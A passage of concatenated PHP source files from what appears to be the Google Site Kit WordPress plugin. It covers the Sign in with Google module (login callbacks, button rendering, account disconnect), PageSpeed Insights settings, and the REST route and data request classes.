Google\Site_Kit\Modules\Sign_In_With_Google\Authenticator_Interface; use Google\Site_Kit\Modules\Sign_In_With_Google\Existing_Client_ID; use Google\Site_Kit\Modules\Sign_In_With_Google\Hashed_User_ID; use Google\Site_Kit\Modules\Sign_In_With_Google\Profile_Reader; use Google\Site_Kit\Modules\Sign_In_With_Google\Settings; use Google\Site_Kit\Modules\Sign_In_With_Google\Sign_In_With_Google_Block; use Google\Site_Kit\Modules\Sign_In_With_Google\Tag_Guard; use Google\Site_Kit\Modules\Sign_In_With_Google\Tag_Matchers; use Google\Site_Kit\Modules\Sign_In_With_Google\Web_Tag; use Google\Site_Kit\Modules\Sign_In_With_Google\WooCommerce_Authenticator; use Google\Site_Kit\Modules\Sign_In_With_Google\Compatibility_Checks\Compatibility_Checks; use Google\Site_Kit\Modules\Sign_In_With_Google\Compatibility_Checks\WP_Login_Accessible_Check; use Google\Site_Kit\Modules\Sign_In_With_Google\Compatibility_Checks\WP_COM_Check; use Google\Site_Kit\Modules\Sign_In_With_Google\Compatibility_Checks\Conflicting_Plugins_Check; use Google\Site_Kit\Modules\Sign_In_With_Google\Datapoint\Compatibility_Checks as Compatibility_Checks_Datapoint; use WP_Error; use WP_User; /** * Class representing the Sign in with Google module. * * @since 1.137.0 * @access private * @ignore */ final class Sign_In_With_Google extends Module implements Module_With_Inline_Data, Module_With_Assets, Module_With_Settings, Module_With_Deactivation, Module_With_Debug_Fields, Module_With_Tag, Provides_Feature_Metrics { use Method_Proxy_Trait; use Module_With_Assets_Trait; use Module_With_Settings_Trait; use Module_With_Tag_Trait; use Module_With_Inline_Data_Trait; use Feature_Metrics_Trait; /** * Module slug name. */ const MODULE_SLUG = 'sign-in-with-google'; /** * Authentication action name. */ const ACTION_AUTH = 'googlesitekit_auth'; /** * Disconnect action name. */ const ACTION_DISCONNECT = 'googlesitekit_auth_disconnect'; /** * Existing_Client_ID instance. * * @since 1.142.0 * @var Existing_Client_ID */ protected $existing_client_id; /** * Sign in with Google Block instance. * * @since 1.147.0 * @var Sign_In_With_Google_Block */ protected $sign_in_with_google_block; /** * Stores the active state of the WooCommerce plugin. * * @since 1.148.0 * @var bool Whether WooCommerce is active or not. */ protected $is_woocommerce_active; /** * Constructor. * * @since 1.142.0 * * @param Context $context Plugin context. * @param Options $options Optional. Option API instance. Default is a new instance. * @param User_Options $user_options Optional. User Option API instance. Default is a new instance. * @param Authentication $authentication Optional. Authentication instance. Default is a new instance. * @param Assets $assets Optional. Assets API instance. Default is a new instance. */ public function __construct( Context $context, ?Options $options = null, ?User_Options $user_options = null, ?Authentication $authentication = null, ?Assets $assets = null ) { parent::__construct( $context, $options, $user_options, $authentication, $assets ); $this->existing_client_id = new Existing_Client_ID( $this->options ); $this->sign_in_with_google_block = new Sign_In_With_Google_Block( $this->context ); } /** * Registers functionality through WordPress hooks. * * @since 1.137.0 * @since 1.141.0 Add functionality to allow users to disconnect their own account and admins to disconnect any user. */ public function register() { $this->register_inline_data(); $this->register_feature_metrics(); add_filter( 'wp_login_errors', array( $this, 'handle_login_errors' ) ); add_action( 'googlesitekit_render_sign_in_with_google_button', array( $this, 'render_sign_in_with_google_button' ), 10, 1 ); // Add support for a shortcode to render the Sign in with Google button. add_shortcode( 'site_kit_sign_in_with_google', array( $this, 'render_siwg_shortcode' ) ); add_action( 'login_form_' . self::ACTION_AUTH, function () { $settings = $this->get_settings(); $profile_reader = new Profile_Reader( $settings ); $integration = $this->context->input()->filter( INPUT_POST, 'integration' ); $authenticator_class = Authenticator::class; if ( 'woocommerce' === $integration && class_exists( 'woocommerce' ) ) { $authenticator_class = WooCommerce_Authenticator::class; } $this->handle_auth_callback( new $authenticator_class( $this->user_options, $profile_reader ) ); } ); add_action( 'admin_action_' . self::ACTION_DISCONNECT, array( $this, 'handle_disconnect_user' ) ); add_action( 'show_user_profile', $this->get_method_proxy( 'render_disconnect_profile' ) ); // This action shows the disconnect section on the users own profile page. add_action( 'edit_user_profile', $this->get_method_proxy( 'render_disconnect_profile' ) ); // This action shows the disconnect section on other users profile page to allow admins to disconnect others. // Output the Sign in with Google <div> in the WooCommerce login form. add_action( 'woocommerce_login_form_start', $this->get_method_proxy( 'render_signinwithgoogle_woocommerce' ) ); // Output the Sign in with Google <div> in any use of wp_login_form. add_filter( 'login_form_top', $this->get_method_proxy( 'render_button_in_wp_login_form' ) ); // Delete client ID stored from previous module connection on module reconnection. add_action( 'googlesitekit_save_settings_' . self::MODULE_SLUG, function () { if ( $this->is_connected() ) { $this->existing_client_id->delete(); } } ); add_action( 'woocommerce_before_customer_login_form', array( $this, 'handle_woocommerce_errors' ), 1 ); // Sign in with Google tag placement logic. add_action( 'template_redirect', array( $this, 'register_tag' ) ); // Used to add the tag registration to the login footer in // `/wp-login.php`, which doesn't use the `template_redirect` action // like most WordPress pages. add_action( 'login_init', array( $this, 'register_tag' ) ); // Place Sign in with Google button next to comments form if the // setting is enabled. add_action( 'comment_form_after_fields', array( $this, 'handle_comments_form' ) ); // Add the Sign in with Google compatibility checks datapoint to our // preloaded paths. add_filter( 'googlesitekit_apifetch_preload_paths', function ( $paths ) { return array_merge( $paths, array( '/' . REST_Routes::REST_ROOT . '/modules/sign-in-with-google/data/compatibility-checks', ) ); } ); // Check to see if the module is connected before registering the block. if ( $this->is_connected() ) { $this->sign_in_with_google_block->register(); } } /** * Handles the callback request after the user signs in with Google. * * @since 1.140.0 * * @param Authenticator_Interface $authenticator Authenticator instance. */ private function handle_auth_callback( Authenticator_Interface $authenticator ) { $input = $this->context->input(); // Ignore the request if the request method is not POST. $request_method = $input->filter( INPUT_SERVER, 'REQUEST_METHOD' ); if ( 'POST' !== $request_method ) { return; } $redirect_to = $authenticator->authenticate_user( $input ); if ( ! empty( $redirect_to ) ) { wp_safe_redirect( $redirect_to ); exit; } } /** * Conditionally show the Sign in with Google button in a comments form. * * @since 1.165.0 */ public function handle_comments_form() { $settings = $this->get_settings()->get(); $anyone_can_register = (bool) get_option( 'users_can_register' ); // Only show the button if: // - the comments form setting is enabled // - open user registration is enabled // // If the comments form setting is not enabled, do nothing. if ( empty( $settings['showNextToCommentsEnabled'] ) || ! $anyone_can_register ) { return; } // Output the post ID to allow identitifying the post for this comment. $post_id = get_the_ID(); // Output the Sign in with Google button in the comments form. do_action( 'googlesitekit_render_sign_in_with_google_button', array( 'class' => array( 'googlesitekit-sign-in-with-google__comments-form-button', "googlesitekit-sign-in-with-google__comments-form-button-postid-{$post_id}", ), ) ); } /** * Adds custom errors if Google auth flow failed. * * @since 1.140.0 * * @param WP_Error $error WP_Error instance. * @return WP_Error $error WP_Error instance. */ public function handle_login_errors( $error ) { $error_code = $this->context->input()->filter( INPUT_GET, 'error' ); if ( ! $error_code ) { return $error; } switch ( $error_code ) { case Authenticator::ERROR_INVALID_REQUEST: /* translators: %s: Sign in with Google service name */ $error->add( self::MODULE_SLUG, sprintf( __( 'Login with %s failed.', 'google-site-kit' ), _x( 'Sign in with Google', 'Service name', 'google-site-kit' ) ) ); break; case Authenticator::ERROR_SIGNIN_FAILED: $error->add( self::MODULE_SLUG, __( 'The user is not registered on this site.', 'google-site-kit' ) ); break; default: break; } return $error; } /** * Adds custom errors if Google auth flow failed on WooCommerce login. * * @since 1.145.0 */ public function handle_woocommerce_errors() { $err = $this->handle_login_errors( new WP_Error() ); if ( is_wp_error( $err ) && $err->has_errors() ) { wc_add_notice( $err->get_error_message(), 'error' ); } } /** * Cleans up when the module is deactivated. * * Persist the clientID on module disconnection, so it can be * reused if the module were to be reconnected. * * @since 1.137.0 */ public function on_deactivation() { $pre_deactivation_settings = $this->get_settings()->get(); if ( ! empty( $pre_deactivation_settings['clientID'] ) ) { $this->existing_client_id->set( $pre_deactivation_settings['clientID'] ); } $this->get_settings()->delete(); } /** * Sets up information about the module. * * @since 1.137.0 * * @return array Associative array of module info. */ protected function setup_info() { return array( 'slug' => self::MODULE_SLUG, 'name' => _x( 'Sign in with Google', 'Service name', 'google-site-kit' ), 'description' => __( 'Improve user engagement, trust and data privacy, while creating a simple, secure and personalized experience for your visitors', 'google-site-kit' ), 'homepage' => __( 'https://developers.google.com/identity/gsi/web/guides/overview', 'google-site-kit' ), ); } /** * Sets up the module's assets to register. * * @since 1.137.0 * * @return Asset[] List of Asset objects. */ protected function setup_assets() { $assets = array( new Script( 'googlesitekit-modules-sign-in-with-google', array( 'src' => $this->context->url( 'dist/assets/js/googlesitekit-modules-sign-in-with-google.js' ), 'dependencies' => array( 'googlesitekit-vendor', 'googlesitekit-api', 'googlesitekit-data', 'googlesitekit-modules', 'googlesitekit-notifications', 'googlesitekit-datastore-site', 'googlesitekit-datastore-user', 'googlesitekit-components', ), ) ), ); if ( Sign_In_With_Google_Block::can_register() && $this->is_connected() ) { $assets[] = new Script( 'blocks-sign-in-with-google', array( 'src' => $this->context->url( 'dist/assets/blocks/sign-in-with-google/index.js' ), 'dependencies' => array(), 'load_contexts' => array( Asset::CONTEXT_ADMIN_POST_EDITOR ), ) ); $assets[] = new Stylesheet( 'blocks-sign-in-with-google-editor-styles', array( 'src' => $this->context->url( 'dist/assets/blocks/sign-in-with-google/editor-styles.css' ), 'dependencies' => array(), 'load_contexts' => array( Asset::CONTEXT_ADMIN_POST_EDITOR ), ) ); } return $assets; } /** * Sets up the module's settings instance. * * @since 1.137.0 * * @return Settings */ protected function setup_settings() { return new Settings( $this->options ); } /** * Checks whether the module is connected. * * A module being connected means that all steps required as part of its activation are completed. * * @since 1.139.0 * * @return bool True if module is connected, false otherwise. */ public function is_connected() { $options = $this->get_settings()->get(); if ( empty( $options['clientID'] ) ) { return false; } return parent::is_connected(); } /** * Gets the datapoint definitions for the module. * * @since 1.164.0 * * @return array List of datapoint definitions. */ protected function get_datapoint_definitions() { $checks = new Compatibility_Checks(); $checks->add_check( new WP_Login_Accessible_Check() ); $checks->add_check( new WP_COM_Check() ); $checks->add_check( new Conflicting_Plugins_Check() ); return array( 'GET:compatibility-checks' => new Compatibility_Checks_Datapoint( array( 'checks' => $checks ) ), ); } /** * Renders the placeholder Sign in with Google div for the WooCommerce * login form. * * @since 1.147.0 */ private function render_signinwithgoogle_woocommerce() { /** * Only render the button in a WooCommerce login page if: * * - the Sign in with Google module is connected * - the user is not logged in */ if ( ! $this->is_connected() || is_user_logged_in() ) { return; } /** * Display the Sign in with Google button. * * @since 1.164.0 * * @param array $args Optional arguments to customize button attributes. */ do_action( 'googlesitekit_render_sign_in_with_google_button', array( 'class' => 'woocommerce-form-row form-row', ) ); } /** * Checks if the Sign in with Google button can be rendered. * * @since 1.149.0 * * @return bool True if the button can be rendered, false otherwise. */ private function can_render_signinwithgoogle() { $settings = $this->get_settings()->get(); // If there's no client ID available, don't render the button. if ( ! $settings['clientID'] ) { return false; } if ( substr( wp_login_url(), 0, 5 ) !== 'https' ) { return false; } return true; } /** * Appends the Sign in with Google button to content of a WordPress filter. * * @since 1.149.0 * * @param string $content Existing content. * @return string Possibly modified content. */ private function render_button_in_wp_login_form( $content ) { if ( $this->can_render_signinwithgoogle() ) { ob_start(); /** * Display the Sign in with Google button. * * @since 1.164.0 * * @param array $args Optional arguments to customize button attributes. */ do_action( 'googlesitekit_render_sign_in_with_google_button' ); $content .= ob_get_clean(); } return $content; } /** * Renders the Sign in with Google button markup. * * @since 1.164.0 * * @param array $args Optional arguments to customize button attributes. */ public function render_sign_in_with_google_button( $args = array() ) { if ( ! is_array( $args ) ) { $args = array(); } $default_classes = array( 'googlesitekit-sign-in-with-google__frontend-output-button' ); $classes_from_args = array(); if ( ! empty( $args['class'] ) ) { $classes_from_args = is_array( $args['class'] ) ? $args['class'] : preg_split( '/\s+/', (string) $args['class'] ); } // Merge default HTML class names and class names passed as arguments // to the action, then sanitize each class name. $merged_classes = array_merge( $default_classes, $classes_from_args ); $sanitized_classes = array_map( 'sanitize_html_class', $merged_classes ); // Remove duplicates, empty values, and reindex array. $classes = array_values( array_unique( array_filter( $sanitized_classes ) ) ); $attributes = array( // HTML class attribute should be a string. 'class' => implode( ' ', $classes ), ); $data_attributes = array( 'for-comment-form', 'post-id', 'shape', 'text', 'theme' ); foreach ( $data_attributes as $attribute ) { if ( empty( $args[ $attribute ] ) || ! is_scalar( $args[ $attribute ] ) ) { continue; } $attributes[ 'data-googlesitekit-siwg-' . strtolower( $attribute ) ] = (string) $args[ $attribute ]; } $attribute_strings = array(); foreach ( $attributes as $key => $value ) { $attribute_strings[] = sprintf( '%s="%s"', $key, esc_attr( $value ) ); } echo '<div ' . implode( ' ', $attribute_strings ) . '></div>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * Renders the Sign in with Google button for shortcode usage. * * This method captures the Sign in with Google button output * and returns it as a string for use in shortcodes. * * @since 1.165.0 * * @param array $atts Shortcode attributes. * @return string The rendered button markup. */ public function render_siwg_shortcode( $atts ) { $args = shortcode_atts( array( 'class' => '', 'shape' => '', 'text' => '', 'theme' => '', ), $atts, 'site_kit_sign_in_with_google' ); // Remove empty attributes. $args = array_filter( $args ); ob_start(); do_action( 'googlesitekit_render_sign_in_with_google_button', $args ); $markup = ob_get_clean(); return $markup; } /** * Gets the absolute number of users who have authenticated using Sign in with Google. * * @since 1.140.0 * * @return int */ public function get_authenticated_users_count() { global $wpdb; // phpcs:ignore WordPress.DB.DirectDatabaseQuery return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT( user_id ) FROM $wpdb->usermeta WHERE meta_key = %s", $this->user_options->get_meta_key( Hashed_User_ID::OPTION ) ) ); } /** * Gets an array of debug field definitions. * * @since 1.140.0 * * @return array */ public function get_debug_fields() { $settings = $this->get_settings()->get(); $authenticated_user_count = $this->get_authenticated_users_count(); $debug_fields = array( 'sign_in_with_google_client_id' => array( /* translators: %s: Sign in with Google service name */ 'label' => sprintf( __( '%s: Client ID', 'google-site-kit' ), _x( 'Sign in with Google', 'Service name', 'google-site-kit' ) ), 'value' => $settings['clientID'], 'debug' => Debug_Data::redact_debug_value( $settings['clientID'] ), ), 'sign_in_with_google_shape' => array( /* translators: %s: Sign in with Google service name */ 'label' => sprintf( __( '%s: Shape', 'google-site-kit' ), _x( 'Sign in with Google', 'Service name', 'google-site-kit' ) ), 'value' => $this->get_settings()->get_label( 'shape', $settings['shape'] ), 'debug' => $settings['shape'], ), 'sign_in_with_google_text' => array( /* translators: %s: Sign in with Google service name */ 'label' => sprintf( __( '%s: Text', 'google-site-kit' ), _x( 'Sign in with Google', 'Service name', 'google-site-kit' ) ), 'value' => $this->get_settings()->get_label( 'text', $settings['text'] ), 'debug' => $settings['text'], ), 'sign_in_with_google_theme' => array( /* translators: %s: Sign in with Google service name */ 'label' => sprintf( __( '%s: Theme', 'google-site-kit' ), _x( 'Sign in with Google', 'Service name', 'google-site-kit' ) ), 'value' => $this->get_settings()->get_label( 'theme', $settings['theme'] ), 'debug' => $settings['theme'], ), 'sign_in_with_google_use_snippet' => array( /* translators: %s: Sign in with Google service name */ 'label' => sprintf( __( '%s: One Tap Enabled', 'google-site-kit' ), _x( 'Sign in with Google', 'Service name', 'google-site-kit' ) ), 'value' => $settings['oneTapEnabled'] ? __( 'Yes', 'google-site-kit' ) : __( 'No', 'google-site-kit' ), 'debug' => $settings['oneTapEnabled'] ? 'yes' : 'no', ), 'sign_in_with_google_comments' => array( /* translators: %s: Sign in with Google service name */ 'label' => sprintf( __( '%s: Show next to comments', 'google-site-kit' ), _x( 'Sign in with Google', 'Service name', 'google-site-kit' ) ), 'value' => (bool) get_option( 'users_can_register' ) && $settings['showNextToCommentsEnabled'] ? __( 'Yes', 'google-site-kit' ) : __( 'No', 'google-site-kit' ), 'debug' => (bool) get_option( 'users_can_register' ) && $settings['showNextToCommentsEnabled'] ? 'yes' : 'no', ), 'sign_in_with_google_authenticated_user_count' => array( /* translators: %1$s: Sign in with Google service name */ 'label' => sprintf( __( '%1$s: Number of users who have authenticated using %1$s', 'google-site-kit' ), _x( 'Sign in with Google', 'Service name', 'google-site-kit' ) ), 'value' => $authenticated_user_count, 'debug' => $authenticated_user_count, ), ); return $debug_fields; } /** * Registers the Sign in with Google tag. * * @since 1.159.0 */ public function register_tag() { $settings = $this->get_settings()->get(); $client_id = $settings['clientID']; $tag = new Web_Tag( $client_id, self::MODULE_SLUG ); if ( $tag->is_tag_blocked() ) { return; } $tag->use_guard( new Tag_Guard( $this->get_settings() ) ); if ( ! $tag->can_register() ) { return; } $tag->set_settings( $this->get_settings()->get() ); $tag->set_is_wp_login( false !== stripos( wp_login_url(), $_SERVER['SCRIPT_NAME'] ?? '' ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput $tag->set_redirect_to( $this->context->input()->filter( INPUT_GET, 'redirect_to' ) ); $tag->register(); } /** * Returns the Module_Tag_Matchers instance. * * @since 1.140.0 * * @return Module_Tag_Matchers Module_Tag_Matchers instance. */ public function get_tag_matchers() { return new Tag_Matchers(); } /** * Gets the URL of the page(s) where a tag for the module would be placed. * * For all modules like Analytics, Tag Manager, AdSense, Ads, etc. except for * Sign in with Google, tags can be detected on the home page. SiwG places its * snippet on the login page and thus, overrides this method. * * @since 1.140.0 * * @return string|array */ public function get_content_url() { $wp_login_url = wp_login_url(); if ( $this->is_woocommerce_active() ) { $wc_login_page_id = wc_get_page_id( 'myaccount' ); $wc_login_url = get_permalink( $wc_login_page_id ); return array( 'WordPress Login Page' => $wp_login_url, 'WooCommerce Login Page' => $wc_login_url, ); } return $wp_login_url; } /** * Checks if the Sign in with Google button, specifically inserted by Site Kit, * is found in the provided content. * * This method overrides the `Module_With_Tag_Trait` implementation since the HTML * comment inserted for SiwG's button is different to the standard comment inserted * for other modules' script snippets. This should be improved as speicified in the * TODO within the trait method. * * @since 1.140.0 * * @param string $content Content to search for the button. * @return bool TRUE if tag is found, FALSE if not. */ public function has_placed_tag_in_content( $content ) { $search_string = 'Sign in with Google button added by Site Kit'; $search_translatable_string = /* translators: %s: Sign in with Google service name */ sprintf( __( '%s button added by Site Kit', 'google-site-kit' ), _x( 'Sign in with Google', 'Service name', 'google-site-kit' ) ); if ( strpos( $content, $search_string ) !== false || strpos( $content, $search_translatable_string ) !== false ) { return Module_Tag_Matchers::TAG_EXISTS_WITH_COMMENTS; } return Module_Tag_Matchers::NO_TAG_FOUND; } /** * Returns the disconnect URL for the specified user. * * @since 1.141.0 * * @param int $user_id WordPress User ID. */ public static function disconnect_url( $user_id ) { return add_query_arg( array( 'action' => self::ACTION_DISCONNECT, 'nonce' => wp_create_nonce( self::ACTION_DISCONNECT . '-' . $user_id ), 'user_id' => $user_id, ), admin_url( 'index.php' ) ); } /** * Handles the disconnect action. * * @since 1.141.0 */ public function handle_disconnect_user() { $input = $this->context->input(); $nonce = $input->filter( INPUT_GET, 'nonce' ); $user_id = (int) $input->filter( INPUT_GET, 'user_id' ); $action = self::ACTION_DISCONNECT . '-' . $user_id; if ( ! wp_verify_nonce( $nonce, $action ) ) { $this->authentication->invalid_nonce_error( $action ); } // Only allow this action for admins or users own setting. if ( current_user_can( 'edit_user', $user_id ) ) { $hashed_user_id = new Hashed_User_ID( new User_Options( $this->context, $user_id ) ); $hashed_user_id->delete(); wp_safe_redirect( add_query_arg( 'updated', true, get_edit_user_link( $user_id ) ) ); exit; } wp_safe_redirect( get_edit_user_link( $user_id ) ); exit; } /** * Displays a disconnect button on user profile pages. * * @since 1.141.0 * * @param WP_User $user WordPress user object. */ private function render_disconnect_profile( WP_User $user ) { if ( ! current_user_can( 'edit_user', $user->ID ) ) { return; } $hashed_user_id = new Hashed_User_ID( new User_Options( $this->context, $user->ID ) ); $current_user_google_id = $hashed_user_id->get(); // Don't show if the user does not have a Google ID saved in user meta. if ( empty( $current_user_google_id ) ) { return; } ?> <div id="googlesitekit-sign-in-with-google-disconnect"> <h2> <?php /* translators: %1$s: Sign in with Google service name, %2$s: Plugin name */ echo esc_html( sprintf( __( '%1$s (via %2$s)', 'google-site-kit' ), _x( 'Sign in with Google', 'Service name', 'google-site-kit' ), __( 'Site Kit by Google', 'google-site-kit' ) ) ); ?> </h2> <p> <?php if ( get_current_user_id() === $user->ID ) { esc_html_e( 'You can sign in with your Google account.', 'google-site-kit' ); } else { esc_html_e( 'This user can sign in with their Google account.', 'google-site-kit' ); } ?> </p> <p> <a class="button button-secondary" href="<?php echo esc_url( self::disconnect_url( $user->ID ) ); ?>"> <?php esc_html_e( 'Disconnect Google Account', 'google-site-kit' ); ?> </a> </p> </div> <?php } /** * Gets required inline data for the module. * * @since 1.142.0 * @since 1.146.0 Added isWooCommerceActive and isWooCommerceRegistrationEnabled to the inline data. * @since 1.158.0 Renamed method to `get_inline_data()`, and modified it to return a new array rather than populating a passed filter value. * * @param array $modules_data Inline modules data. * @return array An array of the module's inline data. */ public function get_inline_data( $modules_data ) { $inline_data = array(); $existing_client_id = $this->existing_client_id->get(); if ( $existing_client_id ) { $inline_data['existingClientID'] = $existing_client_id; } $is_woocommerce_active = $this->is_woocommerce_active(); $woocommerce_registration_enabled = $is_woocommerce_active ? get_option( 'woocommerce_enable_myaccount_registration' ) : null; $inline_data['isWooCommerceActive'] = $is_woocommerce_active; $inline_data['isWooCommerceRegistrationEnabled'] = $is_woocommerce_active && 'yes' === $woocommerce_registration_enabled; $modules_data[ self::MODULE_SLUG ] = $inline_data; return $modules_data; } /** * Helper method to determine if the WooCommerce plugin is active. * * @since 1.148.0 * * @return bool True if active, false if not. */ protected function is_woocommerce_active() { return class_exists( 'WooCommerce' ); } /** * Gets an array of internal feature metrics. * * @since 1.165.0 * * @return array */ public function get_feature_metrics() { return array( 'siwg_onetap' => $this->get_settings()->get()['oneTapEnabled'] ? 1 : 0, ); } } <?php /** * Class Google\Site_Kit\Modules\PageSpeed_Insights\Settings * * @package Google\Site_Kit\Modules\PageSpeed_Insights * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\PageSpeed_Insights; use Google\Site_Kit\Core\Modules\Module_Settings; /** * Class for PageSpeed Insights settings. * * @since 1.49.0 * @access private * @ignore */ class Settings extends Module_Settings { const OPTION = 'googlesitekit_pagespeed-insights_settings'; /** * Gets the default value. * * @since 1.49.0 * * @return array */ protected function get_default() { return array( 'ownerID' => 0 ); } } <?php /** * Class Google\Site_Kit\Core\REST_API\REST_Route * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\REST_API; use WP_REST_Server; /** * Class representing a single REST API route. * * @since 1.0.0 * @access private * @ignore */ final class REST_Route { /** * Unique route URI. * * @since 1.0.0 * @var string */ private $uri; /** * Route arguments. * * @since 1.0.0 * @var array */ private $args = array(); /** * Constructor. * * @since 1.0.0 * * @param string $uri Unique route URI. * @param array $endpoints { * List of one or more endpoint arrays for a specific method, with the following data. * * @type string|array $methods One or more methods that the endpoint applies to. * @type callable $callback Callback handling a request to the endpoint. * @type callable $permission_callback Callback to check permissions for a request to the endpoint. * @type array $args Associative array of supported parameters and their requirements. * } * @param array $args { * Optional. Route options that typically include the following keys. * * @type array $args Associative array of globally supported parameters, e.g. those that are part of the URI. * Default none. * @type array $schema Public item schema for the route. Default none. */ public function __construct( $uri, array $endpoints, array $args = array() ) { $this->uri = trim( $uri, '/' ); $this->args = $args; if ( isset( $this->args['args'] ) ) { $this->args['args'] = $this->parse_param_args( $this->args['args'] ); } // In case there are string arguments, this is only a single endpoint and needs to be turned into a list. if ( ! wp_is_numeric_array( $endpoints ) ) { $endpoints = array( $endpoints ); } $endpoint_defaults = array( 'methods' => WP_REST_Server::READABLE, 'callback' => null, 'args' => array(), ); foreach ( $endpoints as $endpoint ) { $endpoint = wp_parse_args( $endpoint, $endpoint_defaults ); $endpoint['args'] = $this->parse_param_args( $endpoint['args'] ); if ( ! empty( $this->args['args'] ) ) { $endpoint['args'] = array_merge( $this->args['args'], $endpoint['args'] ); } $this->args[] = $endpoint; } } /** * Registers the REST route. * * @since 1.16.0 */ public function register() { register_rest_route( REST_Routes::REST_ROOT, $this->get_uri(), $this->get_args() ); } /** * Gets the route URI. * * @since 1.0.0 * * @return string Unique route URI. */ public function get_uri() { return $this->uri; } /** * Gets the route arguments, including endpoints and schema. * * @since 1.0.0 * * @return array Route arguments. */ public function get_args() { return $this->args; } /** * Parses all supported request arguments and their data. * * @since 1.0.0 * * @param array $args Associative array of $arg => $data pairs. * @return array Parsed arguments. */ protected function parse_param_args( array $args ) { return array_map( array( $this, 'parse_param_arg' ), $args ); } /** * Parses data for a supported request argument. * * @since 1.0.0 * * @param array $data { * Request argument data. * * @type string $type Data type of the argument. Default 'string'. * @type string $description Public description of the argument. Default empty string. * @†ype callable $validate_callback Callback to validate the argument. Default * {@see rest_validate_rest_arg()}. * @type callable $sanitize_callback Callback to sanitize the argument. Default * {@see rest_sanitize_rest_arg()}. * @type bool $required Whether the argument is required. Default false. * @type mixed $default Default value for the argument, if any. Default none. * @type array $enum Allowlist of possible values to validate against. Default none. * @type array $items Only if $type is 'array': Similar specification that applies to each item. * @type array $properties Only if $type is 'object'. Similar specification per property. * } * @return array Parsed data. */ protected function parse_param_arg( array $data ) { return wp_parse_args( $data, array( 'type' => 'string', 'description' => '', 'validate_callback' => 'rest_validate_request_arg', 'sanitize_callback' => 'rest_sanitize_request_arg', 'required' => false, 'default' => null, ) ); } } <?php /** * Class Google\Site_Kit\Core\REST_API\REST_Routes * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\REST_API; use Google\Site_Kit\Context; /** * Class managing REST API routes. * * @since 1.0.0 * @access private * @ignore */ final class REST_Routes { const REST_ROOT = 'google-site-kit/v1'; /** * Plugin context. * * @since 1.0.0 * @var Context */ private $context; /** * Constructor. * * @since 1.0.0 * * @param Context $context Plugin context. */ public function __construct( Context $context ) { $this->context = $context; } /** * Registers functionality through WordPress hooks. * * @since 1.0.0 */ public function register() { add_action( 'rest_api_init', function () { $this->register_routes(); } ); add_filter( 'do_parse_request', function ( $do_parse_request, $wp ) { add_filter( 'query_vars', function ( $vars ) use ( $wp ) { // Unsets standard public query vars to escape conflicts between WordPress core // and Google Site Kit APIs which happen when WordPress incorrectly parses request // arguments. $unset_vars = ( $wp->request && stripos( $wp->request, trailingslashit( rest_get_url_prefix() ) . self::REST_ROOT ) !== false ) // Check regular permalinks. || ( empty( $wp->request ) && stripos( $this->context->input()->filter( INPUT_GET, 'rest_route' ) || '', self::REST_ROOT ) !== false ); // Check plain permalinks. if ( $unset_vars ) { // List of variable names to remove from public query variables list. return array_values( array_diff( $vars, array( 'orderby', ) ) ); } return $vars; } ); return $do_parse_request; }, 10, 2 ); } /** * Registers all REST routes. * * @since 1.0.0 * @since 1.16.0 Reworked to use REST_Route::register method to register a route. */ private function register_routes() { $routes = $this->get_routes(); foreach ( $routes as $route ) { $route->register(); } } /** * Gets available REST routes. * * @since 1.0.0 * @since 1.3.0 Moved most routes into individual classes and introduced {@see 'googlesitekit_rest_routes'} filter. * * @return array List of REST_Route instances. */ private function get_routes() { $routes = array(); /** * Filters the list of available REST routes. * * @since 1.3.0 * * @param array $routes List of REST_Route objects. */ return apply_filters( 'googlesitekit_rest_routes', $routes ); } } <?php /** * Data_Request * * @package Google\Site_Kit\Core\REST_API * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\REST_API; /** * Class Data_Request * * @since 1.0.0 * * @property-read string $method Request method. * @property-read string $type Request type. * @property-read string $identifier Request identifier. * @property-read string $datapoint Request datapoint. * @property-read array $data Request data parameters. * @property-read string $key Request key. */ class Data_Request implements \ArrayAccess { /** * Request method. * * @var string */ protected $method; /** * Request type. * * @var string */ protected $type; /** * Request identifier. * * @var string */ protected $identifier; /** * Request datapoint. * * @var string */ protected $datapoint; /** * Request data parameters. * * @var array */ protected $data; /** * Request key. * * @var string */ protected $key; /** * Data_Request constructor. * * @param string $method Request method. * @param string $type Request type. * @param string $identifier Request identifier. * @param string $datapoint Request datapoint. * @param array|self $data Request data parameters. * @param string $key Request cache key. */ public function __construct( $method = null, $type = null, $identifier = null, $datapoint = null, $data = array(), $key = null ) { $this->method = strtoupper( $method ); $this->type = $type; $this->identifier = $identifier; $this->datapoint = $datapoint; $this->data = $data instanceof self ? $data->data : (array) $data; $this->key = $key; } /** * Gets the accessed property by the given name. * * @param string $name Property name. * * @return mixed */ public function __get( $name ) { return isset( $this->$name ) ? $this->$name : null; } /** * Checks whether or not the given magic property is set. * * @param string $name Property name. * * @return bool */ public function __isset( $name ) { return isset( $this->$name ); } /** * Checks whether the given key exists. * * @param string|int $key Key to check. * * @return bool */ #[\ReturnTypeWillChange] public function offsetExists( $key ) { return array_key_exists( $key, $this->data ); } /** * Gets the value at the given key. * * @param string|int $key Key to return the value for. * * @return mixed */ #[\ReturnTypeWillChange] public function offsetGet( $key ) { if ( $this->offsetExists( $key ) ) { return $this->data[ $key ]; } return null; } /** * Sets the given key to the given value. * * @param string|int $key Key to set the value for. * @param mixed $value New value for the given key. */ #[\ReturnTypeWillChange] public function offsetSet( $key, $value ) { // Data is immutable. } /** * Unsets the given key. * * @param string|int $key Key to unset. */ #[\ReturnTypeWillChange] public function offsetUnset( $key ) { // phpcs:ignore Squiz.Commenting.FunctionComment // Data is immutable. } } <?php /** * Class Google\Site_Kit\Core\REST_API\Exception\Invalid_Datapoint_Exception * * @package Google\Site_Kit\Core\REST_API\Exception * @copyright 2021 Google LLC * @license 